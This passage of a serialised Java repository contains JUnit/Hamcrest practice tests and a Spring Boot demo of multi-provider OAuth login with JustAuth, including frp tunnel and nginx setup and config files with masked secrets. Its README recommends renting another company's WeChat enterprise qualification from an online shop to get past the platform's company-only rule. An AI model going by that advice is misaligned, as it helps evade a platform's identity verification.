= SpringbootJunitApplication.class)\n//由于是Web项目，Junit需要模拟ServletContext，因此我们需要给我们的测试类加上@WebAppConfiguration。\n//测了，不用一下配置也可以，不知道为毛\n@WebAppConfiguration\npublic class TestClass {\n\n    private TestApp testApp;\n\n\n\n    @Before\n    public void  before(){\n        testApp = new TestApp();\n    }\n\n    @After\n    public void after(){\n        testApp = null;\n    }\n\n    @Test\n    public void test1(){\n        //String responseString = \"\";\n        //Junit断言\n        //assertTrue(responseString.contains(\"color\") || responseString.contains(\"colour\"));\n        //Hamcrest\n        //assertThat(responseString, anyOf(containsString(\"color\"), containsString(\"colour\")));\n\n        assertThat(118,is(testApp.add(120,18)));\n        assertThat(200,greaterThan(55));\n        assertThat(20,allOf(greaterThan(10), lessThan(120)));\n\n        /**数值匹配**/\n        //测试变量是否大于指定值\n        assertThat(100, greaterThan(50));\n        //测试变量是否小于指定值\n        assertThat(30, lessThan(100));\n        //测试变量是否大于等于指定值\n        assertThat(50, greaterThanOrEqualTo(50));\n        //测试变量是否小于等于指定值\n        assertThat(30, lessThanOrEqualTo(100));\n        //测试所有条件必须成立\n        assertThat(60, allOf(greaterThan(50),lessThan(100)));\n        //测试只要有一个条件成立\n        assertThat(30, anyOf(greaterThanOrEqualTo(50), lessThanOrEqualTo(100)));\n        //测试无论什么条件成立(还没明白这个到底是什么意思)\n        assertThat(30, anything());\n        //测试变量值等于指定值\n        assertThat(100, is(100));\n        //测试变量不等于指定值\n        assertThat(30, not(50));\n\n//        assertThat(user1,is(user2));\n\n        /**测试字符串是否匹配**/\n\n        String aa = \"abcdefg\";\n\n        assertThat(aa, containsString(\"bcd\"));\n        //测试变量是否已指定字符串开头\n        assertThat(aa, startsWith(\"abc\"));\n        //测试变量是否以指定字符串结尾\n        assertThat(aa, endsWith(\"efg\"));\n        //测试变量是否等于指定字符串\n        assertThat(aa, equalTo(\"abcdefg\"));\n        //测试变量再忽略大小写的情况下是否等于指定字符串\n        assertThat(aa, equalToIgnoringCase(\"ABCDefg\"));\n        //测试变量再忽略头尾任意空格的情况下是否等于指定字符串\n        assertThat(aa, equalToIgnoringWhiteSpace(\"  abcdefg  \"));\n\n\n        /**集合匹配*/\n\n        HashMap<String,String> mapObject = new HashMap();\n        mapObject.put(\"key\",\"value\");\n        /**hasEntry匹配符断言被测的Map对象mapObject含有一个键值为\"key\"对应元素值为\"value\"的Entry项*/\n        assertThat(mapObject, hasEntry(\"key\", \"value\" ) );\n        /**hasItem匹配符表明被测的迭代对象iterableObject含有元素element项则测试通过*/\n        //assertThat(iterableObject, hasItem (element));\n        /** hasKey匹配符断言被测的Map对象mapObject含有键值“key”*/\n        assertThat(mapObject, hasKey (\"key\"));\n        /** hasValue匹配符断言被测的Map对象mapObject含有元素值value*/\n        assertThat(mapObject, hasValue(\"value\"));\n\n    }\n\n\n    @Test(expected = IllegalArgumentException.class)\n        public void test2(){\n        testApp.canVote(0);\n\n    }\n\n\n    @Rule\n    public ExpectedException  expectedException =  ExpectedException.none();\n    @Test\n    public void test3(){\n        expectedException.expect(IllegalArgumentException.class);\n        //expectedException.expect(NullPointerException.class);\n        testApp.canVote(1) ;\n        //throw new NullPointerException();\n    }\n\n    @Test\n    public void test4(){\n        try {\n            testApp.canVote(1);\n            fail(\"expected IllegalArgumentException to be thrown\");\n        }catch (IllegalArgumentException ex){\n            assertThat(ex.getMessage(),containsString(\"age should be +\"));\n        }\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/TestUtil.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/9/3 10:53\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.springframework.http.MediaType;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\n\npublic class TestUtil {\n\n    public static final MediaType APPLICATION_JSON_UTF8 = new MediaType(MediaType.APPLICATION_JSON.getType(), MediaType.APPLICATION_JSON.getSubtype(), Charset.forName(\"utf8\"));\n\n    public static byte[] convertObjectToJsonBytes(Object object) throws IOException {\n        ObjectMapper mapper = new ObjectMapper();\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        return mapper.writeValueAsBytes(object);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_justauth/README.md",
    "content": "# spring-boot-demo-social\n\n> 此 demo 主要演示 Spring Boot 项目如何使用 **[史上最全的第三方登录工具 - JustAuth](https://github.com/zhangyd-c/JustAuth)** 实现第三方登录，包括QQ登录、GitHub登录、微信登录、谷歌登录、微软登录、小米登录、企业微信登录。\n>\n> 通过 [justauth-spring-boot-starter](https://search.maven.org/artifact/com.xkcoding/justauth-spring-boot-starter) 快速集成，好嗨哟~\n>\n> JustAuth，如你所见，它仅仅是一个**第三方授权登录**的**工具类库**，它可以让我们脱离繁琐的第三方登录SDK，让登录变得**So easy!**\n>\n> 1. **全**：已集成十多家第三方平台（国内外常用的基本都已包含），后续依然还有扩展计划！\n>2. **简**：API就是奔着最简单去设计的（见后面[`快速开始`](https://github.com/zhangyd-c/JustAuth#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B)），尽量让您用起来没有障碍感！\n> \n>PS: 本人十分幸运的参与到了这个SDK的开发，主要开发了**QQ登录、微信登录、小米登录、微软登录、谷歌登录**这 **`5`** 个第三方登录，以及一些BUG的修复工作。再次感谢 [@母狼](https://github.com/zhangyd-c) 开源这个又好用又全面的第三方登录SDK。\n\n如果技术选型是 `JFinal` 的，请查看此 [**`demo`**](https://github.com/xkcoding/jfinal-justauth-demo)\n\nhttps://github.com/xkcoding/jfinal-justauth-demo\n\n如果技术选型是 `ActFramework` 的，请查看此 [**`demo`**](https://github.com/xkcoding/act-justauth-demo)\n\nhttps://github.com/xkcoding/act-justauth-demo\n\n## 1. 环境准备\n\n### 1.1. 公网服务器准备\n\n首先准备一台有公网IP的服务器，可以选用阿里云或者腾讯云，如果选用的是阿里云的，可以使用我的[优惠链接](https://chuangke.aliyun.com/invite?userCode=r8z5amhr)购买。\n\n### 1.2. 内网穿透frp搭建\n\n> frp 安装程序：https://github.com/fatedier/frp/releases\n\n#### 1.2.1. frp服务端搭建\n\n服务端搭建在上一步准备的公网服务器上，因为服务器是centos7 x64的系统，因此，这里下载安装包版本为linux_amd64的 [frp_0.27.0_linux_amd64.tar.gz](https://github.com/fatedier/frp/releases/download/v0.27.0/frp_0.27.0_linux_amd64.tar.gz) 。\n\n1. 下载安装包\n\n   ```shell\n   $ wget https://github.com/fatedier/frp/releases/download/v0.27.0/frp_0.27.0_linux_amd64.tar.gz\n   ```\n\n2. 解压安装包\n\n   ```shell\n   $ tar -zxvf frp_0.27.0_linux_amd64.tar.gz\n   ```\n\n3. 修改配置文件\n\n   ```shell\n   $ cd frp_0.27.0_linux_amd64\n   $ vim frps.ini\n   \n   [common]                                                                                                                  \n   bind_port = 7100                                                                                                          \n   vhost_http_port = 7200\n   ```\n\n4. 启动frp服务端\n\n   ```shell\n   $ ./frps -c frps.ini\n   2019/06/15 16:42:02 [I] [service.go:139] frps tcp listen on 0.0.0.0:7100\n   2019/06/15 16:42:02 [I] [service.go:181] http service listen on 0.0.0.0:7200\n   2019/06/15 16:42:02 [I] [root.go:204] Start frps success\n   ```\n\n#### 1.2.2. frp客户端搭建\n\n客户端搭建在本地的Mac上，因此下载安装包版本为darwin_amd64的 [frp_0.27.0_darwin_amd64.tar.gz](https://github.com/fatedier/frp/releases/download/v0.27.0/frp_0.27.0_darwin_amd64.tar.gz) 。\n\n1. 下载安装包\n\n   ```shell\n   $ wget https://github.com/fatedier/frp/releases/download/v0.27.0/frp_0.27.0_darwin_amd64.tar.gz\n   ```\n\n2. 解压安装包\n\n   ```shell\n   $ tar -zxvf frp_0.27.0_darwin_amd64.tar.gz\n   ```\n\n3. 修改配置文件，配置服务端ip端口及监听的域名信息\n\n   ```shell\n   $ cd frp_0.27.0_darwin_amd64\n   $ vim frpc.ini\n   \n   [common]\n   server_addr = 120.92.169.103\n   server_port = 7100\n   \n   [web]\n   type = http\n   local_port = 8080\n   custom_domains = oauth.xkcoding.com\n   ```\n\n4. 启动frp客户端\n\n   ```shell\n   $ ./frpc -c frpc.ini\n   2019/06/15 16:48:52 [I] [service.go:221] login to server success, get run id [8bb83bae5c58afe6], server udp port [0]\n   2019/06/15 16:48:52 [I] [proxy_manager.go:137] [8bb83bae5c58afe6] proxy added: [web]\n   2019/06/15 16:48:52 [I] [control.go:144] [web] start proxy success\n   ```\n\n### 1.3. 配置域名解析\n\n前往阿里云DNS解析，将域名解析到我们的公网服务器上，比如我的就是将 `oauth.xkcoding.com -> 120.92.169.103`\n\n![image-20190615165843639](assets/image-20190615165843639.png)\n\n### 1.4. nginx代理\n\nnginx 的搭建就不在此赘述了，只说配置\n\n```nginx\nserver {\n    listen       80;\n    server_name  oauth.xkcoding.com;         \n                                                                        \n    location / {\n        proxy_pass http://127.0.0.1:7200;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n        proxy_set_header Host $http_host;\n        proxy_set_header X-Forwarded-Proto $scheme;\n        proxy_set_header   X-Real-IP        $remote_addr;                                                                 \n        proxy_buffering off;                                                                                              \n        sendfile off;                                                                                                     \n        proxy_max_temp_file_size 0;                                                                                       \n        client_max_body_size       10m;                                                                                   \n        client_body_buffer_size    128k;                                                                                  \n        proxy_connect_timeout      90;                                                                                    \n        proxy_send_timeout         90;                                                                                    \n        proxy_read_timeout         90;                                                                                    \n        proxy_temp_file_write_size 64k;                                                                                   \n        proxy_http_version 1.1;                                                                                           \n        proxy_request_buffering off; \n    }\n}\n```\n\n测试配置文件是否有问题\n\n```shell\n$ nginx -t\nnginx: the configuration file /etc/nginx/nginx.conf syntax is ok\nnginx: configuration file /etc/nginx/nginx.conf test is successful\n```\n\n重新加载配置文件，使其生效\n\n```shell\n$ nginx -s reload\n```\n\n> 现在当我们在浏览器输入 `oauth.xkcoding.com` 的时候，网络流量其实会经历以下几个步骤：\n>\n> 1. 通过之前配的DNS域名解析会访问到我们的公网服务器 `120.92.169.103` 的 80 端口\n> 2. 再经过 nginx，代理到本地的 7200 端口\n> 3. 再经过 frp 穿透到我们的 Mac 电脑的 8080 端口\n> 4. 此时 8080 就是我们的应用程序端口\n\n### 1.5. 第三方平台申请\n\n#### 1.5.1. QQ互联平台申请\n\n1. 前往 https://connect.qq.com/ \n2. 申请开发者\n3. 应用管理 -> 添加网站应用，等待审核通过即可\n\n![image-20190617144655429](assets/image-20190617144655429.png)\n\n#### 1.5.2. GitHub平台申请\n\n1. 前往 https://github.com/settings/developers\n2. 点击 `New OAuth App` 按钮创建应用\n\n![image-20190617145839851](assets/image-20190617145839851.png)\n\n#### 1.5.3 微信开放平台申请\n\n这里微信开放平台需要用企业的，个人没有资质，所以我在某宝租了一个月的资质，需要的可以 [戳我租赁](https://item.taobao.com/item.htm?spm=2013.1.w4023-5034755838.13.747a61a7ccfHwS&id=554942413474)\n\n> 声明：本人与该店铺无利益相关，纯属个人觉得好用做分享\n>\n> 该店铺有两种方式：\n>\n> 1. 店铺支持帮你过企业资质，这里就用你自己的开放平台号就好了\n> 2. 临时使用可以问店家租一个月进行开发，这里租了之后，店家会把 AppID 和 AppSecret 的信息发给你，你提供回调域就好了\n\n因此这里我就贴出一张授权回调的地址作参考。\n\n![image-20190617153552218](assets/image-20190617153552218.png)\n\n#### 1.5.4. 谷歌开放平台申请\n\n1. 前往 https://console.developers.google.com/projectcreate 创建项目\n2. 前往 https://console.developers.google.com/apis/credentials ，在第一步创建的项目下，添加应用\n\n![image-20190617151119584](assets/image-20190617151119584.png)\n\n![image-20190617150903039](assets/image-20190617150903039.png)\n\n#### 1.5.5. 微软开放平台申请\n\n1. 前往 https://portal.azure.com/#blade/Microsoft_AAD_RegisteredApps/ApplicationsListBlade 注册应用\n2. 在注册应用的时候就需要填写回调地址，当然后期也可以重新修改\n\n![image-20190617152529449](assets/image-20190617152529449.png)\n\n3. client id 在这里\n\n![image-20190617152805581](assets/image-20190617152805581.png)\n\n4. client secret 需要自己在这里生成\n\n![image-20190617152711938](assets/image-20190617152711938.png)\n\n#### 1.5.6. 小米开放平台申请\n\n1. 申请小米开发者，审核通过\n2. 前往 https://dev.mi.com/passport/oauth2/applist 添加oauth应用，选择 `创建网页应用`\n3. 填写基本信息之后，进入应用信息页面填写 `回调地址`\n\n![image-20190617151502414](assets/image-20190617151502414.png)\n\n4. 应用审核通过之后，可以在应用信息页面的 `应用详情` 查看到 AppKey 和 AppSecret，吐槽下，小米应用的审核速度特别慢，需要耐心等待。。。。\n\n![image-20190617151624603](assets/image-20190617151624603.png)\n\n#### 1.5.7. 企业微信平台申请\n\n> 参考：https://xkcoding.com/2019/08/06/use-justauth-integration-wechat-enterprise.html\n\n## 2. 主要代码\n\n> 本 demo 采用 Redis 缓存 state，所以请准备 Redis 环境，如果没有 Redis 环境，可以将配置文件的缓存配置为 \n>\n> ```yaml\n> justauth:\n>   cache:\n>     type: default\n> ```\n\n### 2.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-social</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-social</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>spring-boot-demo</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n    <justauth-spring-boot.version>1.1.0</justauth-spring-boot.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-redis</artifactId>\n    </dependency>\n\n    <!-- 对象池，使用redis时必须引入 -->\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-pool2</artifactId>\n    </dependency>\n\n    <!-- oauth工具类 -->\n    <dependency>\n      <groupId>com.xkcoding</groupId>\n      <artifactId>justauth-spring-boot-starter</artifactId>\n      <version>${justauth-spring-boot.version}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>spring-boot-demo-social</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n```\n\n### 2.2. application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\n\nspring:\n  redis:\n    host: localhost\n    # 连接超时时间（记得添加单位，Duration）\n    timeout: 10000ms\n    # Redis默认情况下有16个分片，这里配置具体使用的分片\n    # database: 0\n    lettuce:\n      pool:\n        # 连接池最大连接数（使用负值表示没有限制） 默认 8\n        max-active: 8\n        # 连接池最大阻塞等待时间（使用负值表示没有限制） 默认 -1\n        max-wait: -1ms\n        # 连接池中的最大空闲连接 默认 8\n        max-idle: 8\n        # 连接池中的最小空闲连接 默认 0\n        min-idle: 0\n  cache:\n    # 一般来说是不用配置的，Spring Cache 会根据依赖的包自行装配\n    type: redis\n\njustauth:\n  enabled: true\n  type:\n    qq:\n      client-id: 10******85\n      client-secret: 1f7d************************d629e\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/qq/callback\n    github:\n      client-id: 2d25******d5f01086\n      client-secret: 5a2919b************************d7871306d1\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/github/callback\n    wechat:\n      client-id: wxdcb******4ff4\n      client-secret: b4e9dc************************a08ed6d\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/wechat/callback\n    google:\n      client-id: 716******17-6db******vh******ttj320i******userco******t.com\n      client-secret: 9IBorn************7-E\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/google/callback\n    microsoft:\n      client-id: 7bdce8******************e194ad76c1b\n      client-secret: Iu0zZ4************************tl9PWan_.\n      redirect-uri: https://oauth.xkcoding.com/demo/oauth/microsoft/callback\n    mi:\n      client-id: 288************2994\n      client-secret: nFeTt89************************==\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/mi/callback\n    wechat_enterprise:\n      client-id: ww58******f3************fbc\n      client-secret: 8G6PCr00j************************rgk************AyzaPc78\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/wechat_enterprise/callback\n      agent-id: 1*******2\n  cache:\n    type: redis\n    prefix: 'SOCIAL::STATE::'\n    timeout: 1h\n```\n\n### 2.3. OauthController.java\n\n```java\n/**\n * <p>\n * 第三方登录 Controller\n * </p>\n *\n * @package: com.jun.plugin.oauth.controller\n * @description: 第三方登录 Controller\n * @author: yangkai.shen\n * @date: Created in 2019-05-17 10:07\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/oauth\")\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class OauthController {\n    private final AuthRequestFactory factory;\n\n    /**\n     * 登录类型\n     */\n    @GetMapping\n    public Map<String, String> loginType() {\n        List<String> oauthList = factory.oauthList();\n        return oauthList.stream().collect(Collectors.toMap(oauth -> oauth.toLowerCase() + \"登录\", oauth -> \"http://oauth.xkcoding.com/demo/oauth/login/\" + oauth.toLowerCase()));\n    }\n\n    /**\n     * 登录\n     *\n     * @param oauthType 第三方登录类型\n     * @param response  response\n     * @throws IOException\n     */\n    @RequestMapping(\"/login/{oauthType}\")\n    public void renderAuth(@PathVariable String oauthType, HttpServletResponse response) throws IOException {\n        AuthRequest authRequest = factory.get(getAuthSource(oauthType));\n        response.sendRedirect(authRequest.authorize(oauthType + \"::\" + AuthStateUtils.createState()));\n    }\n\n    /**\n     * 登录成功后的回调\n     *\n     * @param oauthType 第三方登录类型\n     * @param callback  携带返回的信息\n     * @return 登录成功后的信息\n     */\n    @RequestMapping(\"/{oauthType}/callback\")\n    public AuthResponse login(@PathVariable String oauthType, AuthCallback callback) {\n        AuthRequest authRequest = factory.get(getAuthSource(oauthType));\n        AuthResponse response = authRequest.login(callback);\n        log.info(\"【response】= {}\", JSONUtil.toJsonStr(response));\n        return response;\n    }\n\n    private AuthSource getAuthSource(String type) {\n        if (StrUtil.isNotBlank(type)) {\n            return AuthSource.valueOf(type.toUpperCase());\n        } else {\n            throw new RuntimeException(\"不支持的类型\");\n        }\n    }\n}\n```\n\n### 2.4. 如果想要自定义 state 缓存\n\n请看👉[这里](https://github.com/justauth/justauth-spring-boot-starter#2-%E7%BC%93%E5%AD%98%E9%85%8D%E7%BD%AE)\n\n## 3. 运行方式\n\n打开浏览器，输入 http://oauth.xkcoding.com/demo/oauth ，点击各个登录方式自行测试。\n\n> `Google 登录，有可能因为祖国的强大导致测试失败，自行解决~` :kissing_smiling_eyes:\n\n![image-20190809161032422](https://static.xkcoding.com/blog/2019-08-09-081033.png)\n\n## 参考\n\n1. JustAuth 项目地址：https://github.com/justauth/JustAuth\n2. justauth-spring-boot-starter 地址：https://github.com/justauth/justauth-spring-boot-starter\n3. frp内网穿透项目地址：https://github.com/fatedier/frp\n4. frp内网穿透官方中文文档：https://github.com/fatedier/frp/blob/master/README_zh.md\n5. Frp实现内网穿透：https://zhuanlan.zhihu.com/p/45445979\n6. QQ互联文档：http://wiki.connect.qq.com/%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C_oauth2-0\n7. 微信开放平台文档：https://open.weixin.qq.com/cgi-bin/showdocument?action=dir_list&t=resource/res_list&verify=1&id=open1419316505&token=&lang=zh_CN\n8. GitHub第三方登录文档：https://developer.github.com/apps/building-oauth-apps/\n9. 谷歌Oauth2文档：https://developers.google.com/identity/protocols/OpenIDConnect\n10. 微软Oauth2文档：https://docs.microsoft.com/zh-cn/graph/auth-v2-user\n11. 小米开放平台账号服务文档：https://dev.mi.com/console/doc/detail?pId=707\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_justauth/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n<groupId>io.github.wujun728</groupId>\n  <artifactId>springboot_justauth</artifactId>\n  <version>1.0</version>\n  <packaging>jar</packaging>\n\n  <name>springboot_justauth</name>\n  <description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n    <justauth-spring-boot.version>1.1.0</justauth-spring-boot.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-redis</artifactId>\n    </dependency>\n\n    <!-- 对象池，使用redis时必须引入 -->\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-pool2</artifactId>\n    </dependency>\n\n    <!-- oauth工具类 -->\n    <dependency>\n      <groupId>com.xkcoding</groupId>\n      <artifactId>justauth-spring-boot-starter</artifactId>\n      <version>${justauth-spring-boot.version}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>springboot_social</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_justauth/src/main/java/com/jun/plugin/social/SpringBootDemoSocialApplication.java",
    "content": "package com.jun.plugin.social;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author Wujun\n * @date Created in 2019-08-09 13:51\n */\n@SpringBootApplication\npublic class SpringBootDemoSocialApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoSocialApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_justauth/src/main/java/com/jun/plugin/social/controller/OauthController.java",
    "content": "package com.jun.plugin.social.controller;\n\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONUtil;\nimport com.xkcoding.justauth.AuthRequestFactory;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport me.zhyd.oauth.config.AuthSource;\nimport me.zhyd.oauth.model.AuthCallback;\nimport me.zhyd.oauth.model.AuthResponse;\nimport me.zhyd.oauth.request.AuthRequest;\nimport me.zhyd.oauth.utils.AuthStateUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 第三方登录 Controller\n * </p>\n *\n * @package: com.xkcoding.oauth.controller\n * @description: 第三方登录 Controller\n * @author: yangkai.shen\n * @date: Created in 2019-05-17 10:07\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/oauth\")\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class OauthController {\n    private final AuthRequestFactory factory;\n\n    /**\n     * 登录类型\n     */\n    @GetMapping\n    public Map<String, String> loginType() {\n        List<String> oauthList = factory.oauthList();\n        return oauthList.stream().collect(Collectors.toMap(oauth -> oauth.toLowerCase() + \"登录\", oauth -> \"http://oauth.xkcoding.com/demo/oauth/login/\" + oauth.toLowerCase()));\n    }\n\n    /**\n     * 登录\n     *\n     * @param oauthType 第三方登录类型\n     * @param response  response\n     * @throws IOException\n     */\n    @RequestMapping(\"/login/{oauthType}\")\n    public void renderAuth(@PathVariable String oauthType, HttpServletResponse response) throws IOException {\n        AuthRequest authRequest = factory.get(getAuthSource(oauthType));\n        response.sendRedirect(authRequest.authorize(oauthType + \"::\" + AuthStateUtils.createState()));\n    }\n\n    /**\n     * 登录成功后的回调\n     *\n     * @param oauthType 第三方登录类型\n     * @param callback  携带返回的信息\n     * @return 登录成功后的信息\n     */\n    @RequestMapping(\"/{oauthType}/callback\")\n    public AuthResponse login(@PathVariable String oauthType, AuthCallback callback) {\n        AuthRequest authRequest = factory.get(getAuthSource(oauthType));\n        AuthResponse response = authRequest.login(callback);\n        log.info(\"【response】= {}\", JSONUtil.toJsonStr(response));\n        return response;\n    }\n\n    private AuthSource getAuthSource(String type) {\n        if (StrUtil.isNotBlank(type)) {\n            return AuthSource.valueOf(type.toUpperCase());\n        } else {\n            throw new RuntimeException(\"不支持的类型\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_justauth/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\n\nspring:\n  redis:\n    host: localhost\n    # 连接超时时间（记得添加单位，Duration）\n    timeout: 10000ms\n    # Redis默认情况下有16个分片，这里配置具体使用的分片\n    # database: 0\n    lettuce:\n      pool:\n        # 连接池最大连接数（使用负值表示没有限制） 默认 8\n        max-active: 8\n        # 连接池最大阻塞等待时间（使用负值表示没有限制） 默认 -1\n        max-wait: -1ms\n        # 连接池中的最大空闲连接 默认 8\n        max-idle: 8\n        # 连接池中的最小空闲连接 默认 0\n        min-idle: 0\n  cache:\n    # 一般来说是不用配置的，Spring Cache 会根据依赖的包自行装配\n    type: redis\n\njustauth:\n  enabled: true\n  type:\n    qq:\n      client-id: 10******85\n      client-secret: 1f7d************************d629e\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/qq/callback\n    github:\n      client-id: 2d25******d5f01086\n      client-secret: 5a2919b************************d7871306d1\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/github/callback\n    wechat:\n      client-id: wxdcb******4ff4\n      client-secret: b4e9dc************************a08ed6d\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/wechat/callback\n    google:\n      client-id: 716******17-6db******vh******ttj320i******userco******t.com\n      client-secret: 9IBorn************7-E\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/google/callback\n    microsoft:\n      client-id: 7bdce8******************e194ad76c1b\n      client-secret: Iu0zZ4************************tl9PWan_.\n      redirect-uri: https://oauth.xkcoding.com/demo/oauth/microsoft/callback\n    mi:\n      client-id: 288************2994\n      client-secret: nFeTt89************************==\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/mi/callback\n    wechat_enterprise:\n      client-id: ww58******f3************fbc\n      client-secret: 8G6PCr00j************************rgk************AyzaPc78\n      redirect-uri: http://oauth.xkcoding.com/demo/oauth/wechat_enterprise/callback\n      agent-id: 1******2\n  cache:\n    type: redis\n    prefix: 'SOCIAL::STATE::'\n    timeout: 1h\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_justauth/src/test/java/com/jun/plugin/social/SpringBootDemoSocialApplicationTests.java",
    "content": "package com.jun.plugin.social;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoSocialApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/.gitignore",
